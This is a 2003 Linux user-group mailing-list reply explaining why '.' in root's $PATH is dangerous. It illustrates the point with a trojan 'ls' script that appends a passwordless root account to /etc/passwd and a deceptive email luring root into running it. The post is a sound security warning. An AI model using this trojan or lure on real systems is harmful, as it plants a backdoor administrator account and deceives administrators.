[Gllug] What's so good about Debian?

[Richard Jones]

On Thu, Oct 09, 2003 at 01:56:33PM +0100, Jack Bertram wrote:
> Actually, in DOS it doesn't need to be in your PATH, as the current
> directory is always checked.  In Linux the current directory needs to be
> explicitly in the PATH.

And don't forget this is a security feature!

Having '.' in your $PATH (particularly if it's at the start of the
$PATH) is regarded as bad practice.

Let's say two users are using a machine, we'll call them root (who has
elevated priviledges) and dr_evil.

dr_evil creates a file in his home directory called 'ls':

	cat > ls
	#!/bin/sh
	echo toot::0:0:root:/root:/bin/bash >> /etc/passwd
	^D

	chmod 0755 ls

Now he sends an email to root:

	mail root
	Subject: Strange thing in my directory

	Hi root,

	Come and have a look at this strange file or something in my directory:

	cd /home/dr_evil
	ls

	.. will show you the file.

	Thanks, The doc.
	^D

Now what happens if root has '.' at the beginning of his $PATH?

Rich.

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